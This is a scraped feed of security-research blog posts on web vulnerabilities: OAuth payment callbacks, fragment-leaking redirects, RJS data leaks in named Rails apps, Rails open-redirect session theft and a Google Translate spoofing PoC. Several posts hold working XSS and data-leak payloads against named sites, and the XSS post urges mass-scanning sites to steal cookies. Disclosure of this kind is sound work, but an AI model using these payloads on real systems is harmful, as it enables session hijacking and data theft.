Error after paying for TOKEN1<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-l2g4WlmOYnE/Us7hZsTLPHI/AAAAAAAADgg/KJDYKFmqXwQ/s1600/Screen+Shot+2014-01-07+at+1.43.36+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-l2g4WlmOYnE/Us7hZsTLPHI/AAAAAAAADgg/KJDYKFmqXwQ/s1600/Screen+Shot+2014-01-07+at+1.43.36+PM.png" height="172" width="400" /></a></div>
<br />
Attacker visits Callback?token=TOKEN1 to get victim's funds<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Hd6aoD7D5xk/Us7hmJa0x9I/AAAAAAAADgo/zWP4DYZM4cc/s1600/Screen+Shot+2014-01-07+at+1.44.36+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Hd6aoD7D5xk/Us7hmJa0x9I/AAAAAAAADgo/zWP4DYZM4cc/s1600/Screen+Shot+2014-01-07+at+1.44.36+PM.png" height="148" width="400" /></a></div>
<br />
<br />
<b>Mitigation</b><br />
Provider should issue another oauth_verifier random nonce to make sure the user using callback is the payer.<br />
<br />
Is it really severe bug? I don't think so, but it should be fixed for sure.<br />
<br />
P.S. researchers complain a lot about paypal's bounty program. E.g. they refused to fix obvious headers injection <span style="background-color: white; color: #303942; font-family: Menlo, monospace; font-size: 10.909090995788574px; white-space: pre-wrap;">https://www.paypal.com/.y%0dSet-Cookie:x=1</span><br />
<span style="background-color: white; color: #303942; font-family: Menlo, monospace; font-size: 10.909090995788574px; white-space: pre-wrap;"><br /></span>homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com2tag:blogger.com,1999:blog-8508344381521415235.post-7945859675240190862014-01-02T09:39:00.001-08:002014-01-02T10:00:35.891-08:00Path Encoding Vulnerability in https/www redirects.Playing with 302-based header injection (majority of web servers is not vulnerable to it btw) i found one tricky neat bug which can be really useful to leak ?query data by putting them in the #fragment.<br />
<br />
<b>Remark about the difference</b>: fragment might seem to be more secure than query - no, I don't think so. There are just <a href="http://homakov.blogspot.com/2013/03/redirecturi-is-achilles-heel-of-oauth.html">thousands of open-redirects out there leaking access_token-s</a>. I personally found an open redirect leaking user's token on 2 out of 3 huge websites i checked. I only stopped looking for open redirects because I don't exploit and there's no market for "facebook access_tokens" (let's create one?)... whatever<br />
<br />
Yes, ?query can be leaked with Referrers but you can easily deny them - you never can't be sure you don't have open redirects.<br />
<br />
<b>Tip 1. do not send sensitive info in #fragment because 302 redirect will leak this data.</b><br />
<br />
<b>Problem</b>: many web servers are configured in a way to redirect http://site.com/%23lol to http://www.site.com/#lol - they kill initial encoding, putting query data in location.hash. And this is a vulnerability.<br />
<br />
To demonstrate the bug in the wild I created <a href="http://www.sakurity.com/issue_token">this demo</a>. <b>Hard Mode solution</b> by the way: http://www.sakurity.com/issue_token?hard_mode=1&uri=http://sakurity.com/triple?to=//egorhomakov.com%2523<br />
<b><br /></b>
<b>Any ?private_info can be turned into #private_info</b> and be leaked easily with a 302 redirect.<br />
<br />
Chain looks like this<br />
Provider Issues a Token -> Client-WWW-redirector%23?Token -> Client-redirector#?Token -> <b>Evil#?Token. </b><br />
There were basically only two ways servers could "screw" path encoding: https and www related redirects.<br />
<br />
<b>Tip 2. check https->http / www.site->site redirects to find Path Encoding Vulnerability. </b><br />
<b><br /></b>
Let's check www-redirects against our <a href="http://homakov.blogspot.com/2013/11/use-404-or-lazy-tips-to-finding-xss.html">Lazy list</a>. <a href="https://gist.github.com/homakov/8222811">Here is my lousy script</a>.<br />
For "/?x=%23x" payload almost nobody is vulnerable because encoding request.query seems obvious.<br />
<br />
http://www.olx.in/?x=#x<br />
<div>
<div>
http://www.target.com?&x=#x</div>
</div>
<div>
<div>
http://www.force.com/?x=#x</div>
</div>
<div>
<div>
http://www.retailmenot.com/?x=#x</div>
</div>
<div>
<div>
http://www.chip.de/?x=#x</div>
</div>
<div>
<div>
http://store.steampowered.com/?x=#x</div>
</div>
<div>
<div>
http://www.iminent.com?x=#x</div>
</div>
<div>
<br /></div>
Let's check '/%23x'<br />
<br />
http://www.amazon.com/#x<br />
http://www.bing.com/#x<br />
http://www.microsoft.com/#x<br />
http://www.msn.com/#x<br />
http://www.ask.com/#x<br />
http://www.amazon.co.jp/#x<br />
http://stackoverflow.com/#x<br />
http://www.cnn.com/#x<br />
http://imgur.com/#x<br />
http://www.huffingtonpost.com/#x<br />
/Error/NotFound?aspxerrorpath=/#x<br />
http://www.amazon.de/#x<br />
http://www.about.com/#x<br />
http://www.godaddy.com/#x<br />
http://vimeo.com/#x<br />
http://www.dailymail.co.uk/#x<br />
http://www.amazon.co.uk/#x<br />
http://www.aol.com/#x<br />
http://kickass.to/#x/<br />
http://www.globo.com/#x<br />
http://www.aweber.com/#x<br />
http://www.theguardian.com/#x<br />
http://www.salesforce.com/#x<br />
http://www.espncricinfo.com/#x<br />
http://statcounter.com/#x/<br />
http://www.warriorforum.com/#x<br />
http://mashable.com/#x/<br />
http://www.nbcnews.com/#x<br />
http://www.shutterstock.com/#x<br />
http://www.amazon.fr/#x<br />
http://www.samsung.com/#x<br />
http://www.popads.net/#x<br />
http://pick.naver.jp/#x<br />
http://www.usatoday.com/#x<br />
http://stackexchange.com/#x<br />
http://www.in.com/#x<br />
http://bit.ly/a/warning?url=http%3a%2f%2fwww%2evirtual4now%2ecom&hash=#x<br />
http://www.olx.in/#x<br />
http://www.gsmarena.com/#x<br />
http://www.ndtv.com/#x<br />
http://www.ign.com/#x<br />
http://www.varzesh3.com/#x<br />
http://www.linkbucks.com/#x<br />
http://www.webmd.com/#x<br />
http://www.ig.com.br/#x<br />
http://www.bitauto.com/#x/<br />
http://www.hdfcbank.com/#x<br />
http://www.dell.com/#x<br />
http://www.force.com/#x<br />
http://www.speedtest.net/#x<br />
http://www.cbssports.com/#x<br />
http://www.quora.com/#x<br />
http://www.time.com/#x<br />
http://www.amazon.cn/#x<br />
http://www.retailmenot.com/#x<br />
http://www.match.com/#x<br />
http://subscene.com/#x<br />
http://www.amazon.it/#x<br />
http://abcnews.go.com/#x<br />
http://www.timeanddate.com/#x<br />
http://www.engadget.com/#x<br />
http://www.corriere.it/#x<br />
http://chaturbate.com/#x<br />
http://www.swagbucks.com/#x<br />
https://www4.gotomeeting.com/#x?Portal=gotomeeting.com<br />
http://www.lemonde.fr/#x<br />
http://www.chip.de/#x<br />
http://www.hubspot.com/#x<br />
http://www.pconline.com.cn/#x<br />
http://www.marketwatch.com/#x<br />
https://www.namecheap.com/#x<br />
http://adultfriendfinder.com/#x<br />
http://www.majesticseo.com/#x<br />
http://msn.foxsports.com/#x<br />
http://www.eventbrite.com/#x<br />
http://www.virgilio.it/#x<br />
http://www.tradedoubler.com/#x<br />
http://www.autohome.com.cn/#x<br />
http://persianblog.ir/#x<br />
http://allrecipes.com/#x<br />
http://www.lanacion.com.ar/#x<br />
http://www.cbsnews.com/#x<br />
http://www.tomshardware.com/#x<br />
http://www.dict.cc/?s=#x<br />
http://www.amazon.es/#x<br />
http://www.pclady.com.cn/#x<br />
http://vitaminl.tv/#x<br />
http://www.spankwire.com/#x<br />
http://www.ancestry.com/#x<br />
http://ezinearticles.com/#x<br />
http://www.aizhan.com/#x<br />
http://www.rednet.cn/#x<br />
http://www.mynet.com/#x<br />
http://www.theverge.com/#x<br />
http://www.allocine.fr/#x<br />
http://www.pcbaby.com.cn/#x<br />
http://www.chron.com/#x<br />
/404.aspx?aspxerrorpath=/#x<br />
http://myegy.com/#x<br />
....i killed the script , it's only first 500.<br />
<br />
Check if your server turns %23 into # and patch it if you don't want your Single Sign On to be hacked.<br />
Be careful with encodings. Many servers are configured in a wrong way + Microsoft IIS is vulnerable by default.homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com5tag:blogger.com,1999:blog-8508344381521415235.post-45317582152514885202013-12-23T07:07:00.003-08:002013-12-23T08:16:37.491-08:00Regexp Groups "Overflow" in Firefox<b>TL;DR:</b> In Firefox regexps with 999 998+ groups return false, no matter was the given string valid or not. It seems like a performance optimization, but theoretically can lead to security issues. I believe it should raise an exception instead of fooling the code.<br />
<br />
<b>Unrelated prehistory</b>: Few weeks ago I was trying to XSS m.facebook.com location.hash validation with a timing attack.<br />
<span style="font-family: monospace; white-space: pre-wrap;">(/^#~?!(?:\/?[\w\.-])+\/?(?:\?|$)/).test(location.hash)&&location.replace(...</span><br />
I was trying to craft *long enough* regexp argument so I could get a spare second to replace the location.hash just before location.replace happens.<br />
I'm no browser expert and don't comprehend how it works on low level - it didn't work out anyway, because it is single-threaded (with setTimeout timing attack works fine - <a href="http://homakov.github.io/xssme.html">try to XSS this page</a>.)<br />
<br />
The side-research is more interesting!<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-ikMjRfx_RDM/UrhQlHUIB0I/AAAAAAAADeQ/KlsnuvmLegg/s1600/typewriter.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="235" src="http://3.bp.blogspot.com/-ikMjRfx_RDM/UrhQlHUIB0I/AAAAAAAADeQ/KlsnuvmLegg/s1600/typewriter.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">pic unrelated.</td></tr>
</tbody></table>
<br />
When I was testing FF i did notice, for huge payloads JS simply returns "false". For "/a/a..N times" it still was <b>true</b> but for N+1 times all of a sudden - <b>false</b><br />
Yeah, JS was like saying "TL;DR, hopefully it's false".<br />
<br />
Wait, what?! Regexp can't just return a wrong result only because of the argument's length! Let's double check:<br />
<br />
In Chrome<br />
<br />
z=Array(999999).join('a');<br />
console.log(/^([\w])+$/.test(z),z.length);<br />
//true 999998<br />
<br />
z=Array(999999+1).join('a');<br />
console.log(/^([\w])+$/.test(z),z.length);<br />
//true 999999<br />
<br />
<br />
In FF<br />
<br />
z=Array(999999).join('a');<br />
console.log(/^([\w])+$/.test(z),z.length);<br />
//true 999998<br />
<br />
z=Array(999999+1).join('a');<br />
console.log(/^([\w])+$/.test(z),z.length);<br />
//<b>false</b> 999999<br />
<br />
Apparently, thing is, after catching 999 998 regexp ([\w]) groups FF "gets tired" and returns <b>false </b>instead of finishing the work or raising an exception like Chrome does (<i>RangeError: Maximum call stack size exceeded</i>).<br />
<br />
To turn it into an exploitable vulnerability you would need a JS regexp leading to something bad in "false" case - totally unlikely. But good place to start FF regexp "quirks" investigation.<br />
<br />
P.S. Please fix me if I did not correctly understand the issue.homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com2tag:blogger.com,1999:blog-8508344381521415235.post-90642410853924866082013-12-14T01:46:00.003-08:002013-12-14T20:29:11.084-08:00How to send DM on Twitter w/o permissionI just recalled "<a href="https://support.twitter.com/articles/14020-twitter-sms-commands">SMS commands</a>" feature and tried to send a DM (private, direct message) with "Share on Twitter"-button. It works!
<br />
<blockquote class="twitter-tweet" lang="en">
Twitter trick - you can ask your readers to tweet about your post, but in fact send a DM. Example <a href="https://t.co/03nZRdP2xO">https://t.co/03nZRdP2xO</a><br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/411789914368249856">December 14, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
But you know what's really cool? ANY app can send a DM on behalf of your account, by sending to API "d NAME TEXT". I just tested with Twitpic, as you can see it doesn't require any DM permissions.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-hOsHuNfWWDM/UqwoiTSzjEI/AAAAAAAADcM/ylE7kbHmJlk/s1600/Screen+Shot+2013-12-14+at+4.46.36+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-hOsHuNfWWDM/UqwoiTSzjEI/AAAAAAAADcM/ylE7kbHmJlk/s400/Screen+Shot+2013-12-14+at+4.46.36+PM.png" height="163" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LZWvFkzKSGA/UqwoyTRjoHI/AAAAAAAADcU/N9Myk-eKCOo/s1600/Screen+Shot+2013-12-14+at+4.51.04+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-LZWvFkzKSGA/UqwoyTRjoHI/AAAAAAAADcU/N9Myk-eKCOo/s1600/Screen+Shot+2013-12-14+at+4.51.04+PM.png" height="263" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a href="https://twitter.com/DaKnObCS/status/411872738543140864">Another guy claims he reported it before and twitter refused to fix.</a><br />
<br />
Why is it a bug?<br />
1) App is supposed to have Read & Write permission to access DMs. With this shortcut you can bypass that protection<br />
2) DMs are easier to use for spam. User will barely notice it.<br />
3) Also DMs don't show if it was sent with official client or a 3rd party OAuth client. Which is great for phishing.<br />
<br />
API docs:<br />
[no permission] <a href="https://dev.twitter.com/docs/api/1.1/post/direct_messages/new">https://dev.twitter.com/docs/api/1.1/post/direct_messages/new</a><br />
[warns about permission] <a href="https://dev.twitter.com/docs/api/1.1/get/direct_messages/show">https://dev.twitter.com/docs/api/1.1/get/direct_messages/show</a><br />
<br />homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com20tag:blogger.com,1999:blog-8508344381521415235.post-51974480457904672712013-11-29T18:09:00.001-08:002013-11-29T18:33:32.962-08:00RJS leaking vulnerability in multiple Rails applications.I wrote about this problem in May, without showcases, just a theoretical post <a href="http://homakov.blogspot.com/2013/05/do-not-use-rjs-like-techniques.html">http://homakov.blogspot.com/2013/05/do-not-use-rjs-like-techniques.html</a><br />
<br />
It didn't help. Now I want people to take the issue seriously. This is a huge unsolved problem.<br />
<br />
Developers have a tool which they don't know how to properly use. So they use it how they feel convenient. It leads to security breach. <b>Reminds mass-assignment bug</b> (sorry, i have to mention it every day to feel important)<br />
<br />
<b>How it works?</b><br />
Attacker redefines RJS function(s), asks authorized user to visit specially crafted page and leaks data (which the user has access to) and his authenticity_token. Very similar to how <a href="http://homakov.blogspot.com/2013/02/are-you-sure-you-use-jsonp-properly.html">JSONP works</a>.<br />
<blockquote class="tr_bq">
<script><br />
var bcx = {progress: {}};<br />
var $ = function() {<br />
return {prepend: function(data) {<br />
window.data = data<br />
}}<br />
};<br />
</script><br />
<script src="<a href="https://basecamp.com/2474985/progress.js">https://basecamp.com/2474985/progress.js</a>"></script></blockquote>
<br />
<div class="p1">
If it has any HTML form in it (especially when people use render_to_string), it also has <b>user's authenticity_token</b> automatically.</div>
<div class="p1">
So RJS leaks 1) authenticity_token 2) a lot of private data. Thus the bug is as serious as XSS (can read responses + can craft proper requests). = <b>must be fixed?</b></div>
<div class="p1">
<b><br /></b>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-xsJ6qBwPqWY/UplMGUqAaGI/AAAAAAAADbo/iK8QCAUj9HU/s1600/Screen+Shot+2013-11-30+at+9.28.30+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="82" src="http://2.bp.blogspot.com/-xsJ6qBwPqWY/UplMGUqAaGI/AAAAAAAADbo/iK8QCAUj9HU/s1600/Screen+Shot+2013-11-30+at+9.28.30+AM.png" width="640" /></a></div>
<b><br /></b>
<b><br /></b></div>
<div class="p1">
<a href="https://groups.google.com/forum/#!topic/rubyonrails-core/rwzM8MKJbKU">I started a discussion in RoR group.</a></div>
<div class="p1">
<br /></div>
<div class="p1">
Some people are +1, some found it "useful in our projects" (=vulnerable), also DHH is against my proposal:</div>
<blockquote class="tr_bq">
<span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: 12.800000190734863px;">Not only are js.erb templates not deprecated, they are a great way to develop an application with Ajax responses where you can reuse your server-side templates. It's fine to explore ways to make this more secure by default, but the fundamental development style of returning JS as a response is both architecturally sound and an integral part of Rails. So that's not going anywhere.</span></blockquote>
<div class="p1">
What's left to do? Demonstrate with full disclosure: Gitlab, Redmine, Diaspora, Spree, Basecamp etc.</div>
<blockquote class="twitter-tweet" lang="en">
Gitlab: GITLABAPP/gitlab/gitlab-recipes/issues.js leaks authenticity_token, issues etc. Time to update.<br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/406602319858368512">November 30, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
<blockquote class="twitter-tweet" lang="en">
Diaspora. Leaks CSRF token and private converstaions DIASPORA/conversations/CONV_ID.js Come on, you can't all be vulnerable?!<br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/406441406731784192">November 29, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
<blockquote class="twitter-tweet" lang="en">
Redmine! We can leak REDMINE/boards/1/topics/quote/1.js iterate id to leak all comments. Sensible again, I guess? And token too, dig sources<br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/406431860831444994">November 29, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
<blockquote class="twitter-tweet" lang="en">
Neeext, Spree! e.g. SPREEAPP/admin/products/new.js leaks admin's CSRF token and bunch of private info too. I'm necessary evil.<br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/406430382540587009">November 29, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
<blockquote class="twitter-tweet" lang="en">
Even Rails creators get RJS wrong. <a href="https://t.co/8o2IUCyyFM">https://t.co/8o2IUCyyFM</a> leaks a lot of private data from your project. That's *sensible* huh?<br />
— Egor Homakov (@homakov) <a href="https://twitter.com/homakov/statuses/406426491937759232">November 29, 2013</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
<br />
And this is only a tiny part of vulnerable apps we have out there. Let's choose our next actions wisely:<br />
<ol>
<li>find a way to deny cross-site inclusion of JS templates, not breaking whole technique</li>
<li>remove whole :js responder as an insecure technique</li>
<li>don't not do anything about it</li>
</ol>
Documentation is not an option. I wrote my RJS blog post in May, after half a year nobody still cares.<br />
<br />
<b>Is my app vulnerable?</b><br />
If there are any .js.erb file under /app/views, most likely it is. Author of this article can perform a security audit for you, to make sure.<br />
<br />homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com8tag:blogger.com,1999:blog-8508344381521415235.post-47170034537633973812013-11-09T03:06:00.002-08:002013-11-09T03:21:04.685-08:00Use 404 or Lazy Tips to finding XSSIn my opinion usefulness of an XSS on a random website is next to nothing. What are you going to do with XSS on your local school website? Stil da kookies?<br />
So either you should look for XSS on a major website or find tons of random XSSes in hope some of them will turn out to be any useful.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-FUU_nn7tcTM/Un4YS6e23XI/AAAAAAAADaQ/00BCurXjKPw/s1600/uTdh-PqHo8g.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://3.bp.blogspot.com/-FUU_nn7tcTM/Un4YS6e23XI/AAAAAAAADaQ/00BCurXjKPw/s400/uTdh-PqHo8g.jpg" width="276" /></a></div>
<br />
<a href="https://gist.github.com/homakov/7384127">https://gist.github.com/homakov/7384127</a><br />
<br />
What is a <b>Lazy technique</b>? Only one GET request is required to check if there's XSS. Here are lazy techniques i have in mind:<br />
<ol>
<li>Developers don't spend much time on 404 pages. So there's >0% chance 404 page reflects unescaped input. The script above does simply GETs sitename.com/<img src=yolo onerror=alert(0)> and checks if the response body has the payload. Easy right?</li>
<li>There are also 5xx errors, try playing with HPP (x[]=1&x[hash]=1) </li>
<li>Don't forget about 414 error (send super long payload). </li>
<li>site.com/#<img src=x> for $(location.hash) might work too but you need to catch alert execution in runtime.</li>
<li>please share other lazy tricks you know! </li>
</ol>
<br />
So I took the first 1k of Alexa and apparently 10+ are vulnerable (wikia, rottentomatoes etc). The script is not perfect (if status code is 404 it doesn't check the body) — feel free to improve it. For 1kk output might be 10k+ of vulnerable websites having PR more than 1. PROFITZ.<br />
<br />
<a href="http://randolf.jorberg.com/2008/12/07/free-alexa-1-million-top-sites-download/">Here you can take Alexa top 1 000 000 in CSV</a><br />
<br />
And make some money. For (black) SEO purposes you can make the google bot visit popular-website.com/<a href=//yoursite.com>GOOD</a> etc.<br />
Also send some cheap human traffic on the XSSed pages and dump the page (with tokens in it) + document.cookie to analyse / data mine it, hoping to find something useful.<br />
<br />
So the recipe is simple: take that 1 million, create a lazy XSS pattern (consider more comprehensive patterns, ?redirect_to=..) then use the XSSed page for SEO / stealing cookies.<br />
<br />
Completely hassle free way to find bugs. Oh, also check out the <a href="http://sakurity.com/hustlers">Sakurity Hustlers - Bug Hunters Top.</a>homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com7tag:blogger.com,1999:blog-8508344381521415235.post-38806066852772136962013-11-06T01:27:00.003-08:002013-11-06T01:33:52.554-08:00Stealing user session with open-redirect bug in Rails<div>
<b>Is open redirect bad for your website?</b></div>
<div>
If we don't take into account "phishing", how can be open redirect dangerous? </div>
<div>
Mind reading <a href="http://homakov.blogspot.com/2013/03/redirecturi-is-achilles-heel-of-oauth.html">http://homakov.blogspot.com/2013/03/redirecturi-is-achilles-heel-of-oauth.html</a> because any redirect to 3rd party website will leak facebook access_tokens of your users. </div>
<div>
So innocent open redirect on logout will simply reveal access_token of current user when we set redirect_uri to Client/logout?to=3rdparty</div>
<div>
That's really bad. Users won't be happy to see your client posting spam on behalf of their accounts. </div>
<div>
<br /></div>
<div>
<b>What about open redirect in Rails?</b></div>
<div>
As I previously mentioned in my blog posts, Rails loves playing with arguments. You can send :back, or "location" or :location => "location" or ->{some proc} or :protocol=>"https", :host=>"google.com" etc. So because of this line</div>
<div>
redirect_to params[:to]</div>
<div>
attacker has multiple ways to compromise the redirect.</div>
<div>
<br /></div>
<div>
1. params[:to][0] == '/' is not good protection, since //google.com is a legit URL. (By the way if you use regexp avoid $^, luke)</div>
<div>
2. XSS by sending ?to[protocol]=javascript:payload()//&to[status]=200</div>
<div>
</div>
<div>
3. Discovered yesterday, we can see plain HTTP headers in response body by sending ?to[status]=1</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-Cx-W1C4D_eM/UnoMBFEy61I/AAAAAAAADZs/_F5GEFkelpA/s1600/Screen+Shot+2013-11-06+at+4.20.40+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="221" src="http://1.bp.blogspot.com/-Cx-W1C4D_eM/UnoMBFEy61I/AAAAAAAADZs/_F5GEFkelpA/s400/Screen+Shot+2013-11-06+at+4.20.40+PM.png" width="400" /></a></div>
<br /></div>
<div>
<script>
run=function(){
sk=window.open('https://www.songkick.com/session/new?success_url[protocol]=javascript&success_url[host]=%250Alocation=name//&success_url[status]=200','javascript:document.write(\'<iframe src="https://www.songkick.com/session/new?success_url[status]=1" id=z ></iframe>\');z.onload=function(){alert(z.document.body.innerHTML.split("\\n")[10]); }')
}</script>
Live demo on <a href="javascript:void(0)" onclick="run()">Songkick</a></div>
<div>
<br /></div>
<div>
Step 1, open with GET or POST params</div>
<div>
https://www.songkick.com/session/new?success_url[protocol]=javascript&success_url[host]=%250Alocation=name//&success_url[status]=200</div>
<div>
<br /></div>
<div>
Step 2, user clicks on the XSS link and executes payload from window name</div>
<div>
<br /></div>
<div>
Step 3, payload parses broken HTTP response and leaks httpOnly session cookie</div>
<div>
https://www.songkick.com/session/new?success_url[status]=1<br />
<br />
Frankly, this bug is really common. I found it in more than 5 popular rails startups though I only started checking.<br />
If you need careful security audit (or brutal pentest) of your app, visit <a href="http://www.sakurity.com/">http://www.sakurity.com/</a></div>
<div>
<br /></div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com2tag:blogger.com,1999:blog-8508344381521415235.post-18563563267794939722013-07-27T18:18:00.001-07:002013-07-27T18:31:36.558-07:00Google Translate hack explainedI wrote an article today and it sucked.<br />
<br />
<a href="https://news.ycombinator.com/item?id=6112831">Here on HN</a> I was told a couple of times that:<br />
1) PoC doesn't work<br />
2) nothing is clear<br />
<div>
<br /></div>
<div>
Sorry, everyone. I really didn't notice that "Safe Mode" issue locally.<br />
<b>How can I fix this?</b></div>
<div>
1) I crafted a groundbreaking awesome PoC using new technique, and it's working in Chrome and FF for logged in / logged out users like a charm.</div>
2) I will explain how it works thoroughly.<br />
<br />
<a href="http://translate.google.com/translate?hl=en&sl=ru&tl=en&u=http%3A%2F%2Fkremlin.ru%2F" onclick="window.open('http://homakov.github.io/guc2.html?i23','','width=150,height=150,toolbar=no,status=no,scrollbars=no,location=no,menubar=no,resizable=no,screenX=2350,screenY=2250');">Kremlin.ru announces Russia is Mango Federation!</a>
<br />
<br />
<b>Vulnerability</b><br />
From time to time we need to translate news / articles from foreign trustworthy websites, official news feeds etc. Can we break into GT(Google Translate) system and modify output for a prank or something worse? Yes, because GT loads all untrusted "user content" using the GUC domain (googleusercontent.com). Thus GUC guc2.html can modify content of GUC kremlin, because of SOP (same origin policy).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-2Drx62I7TaE/UfRvZXlQYpI/AAAAAAAABzg/k-_a1JmuPqY/s1600/Screen+Shot+2013-07-28+at+3.06.58+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="http://1.bp.blogspot.com/-2Drx62I7TaE/UfRvZXlQYpI/AAAAAAAABzg/k-_a1JmuPqY/s400/Screen+Shot+2013-07-28+at+3.06.58+AM.png" width="400" /></a></div>
<br />
But there were many interesting "pitfalls" i had to solve on my way to this awesome PoC:<br />
<br />
<ol>
<li>By default google has "Safe Mode" on GUC pages. sandbox=allow-scripts allow-forms allow-same-origin. This means GUC pages <b>cannot open new windows. </b>So i used "opener" trick: I opened guc2.html?i in a new window and replaced current one with GT kremlin. Now there is a bridge between GUC guc2.html and GUC kremlin via parent.parent.<b>opener</b>.frames[0]</li>
<li>GUC guc2.html cannot close GT guc2.html because this action is also restricted by sandbox attribute. This is why I framed GT guc2.html under guc2.html?i (I really don't know why GT doesn't have X-Frame-Options. This helped me a lot)</li>
<li>I need at least one click to open guc2.html?i. Otherwise popup will be blocked. When you hover on the link above you see the innocent google translate path. In background, the onclick event will produce one more window ( guc2.html?i ).</li>
<li>guc2.html?i creates an iframe (opacity=0!) with GT guc2.html, and waits for "onmessage" event to close itself.</li>
<li>As soon as GUC guc2.html is loaded it starts a setInterval trying to modify GUC kremlin using this elegant chain: <b>parent.parent.opener.frames[0]. </b>When modifications are done it invokes parent.parent.postMessage('close','*') to let guc2.html?i know that business is done.</li>
<li>Second window is closed in 1-2 seconds, first window has GT kremlin with modified content. Enjoy reading Mango news.</li>
</ol>
Please, <a href="https://github.com/homakov/homakov.github.com/blob/master/guc2.html">dig this JS</a> and <a href="https://news.ycombinator.com/item?id=6115163">ask questions</a>. My duty is to answer them all.<br />
<br />homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com0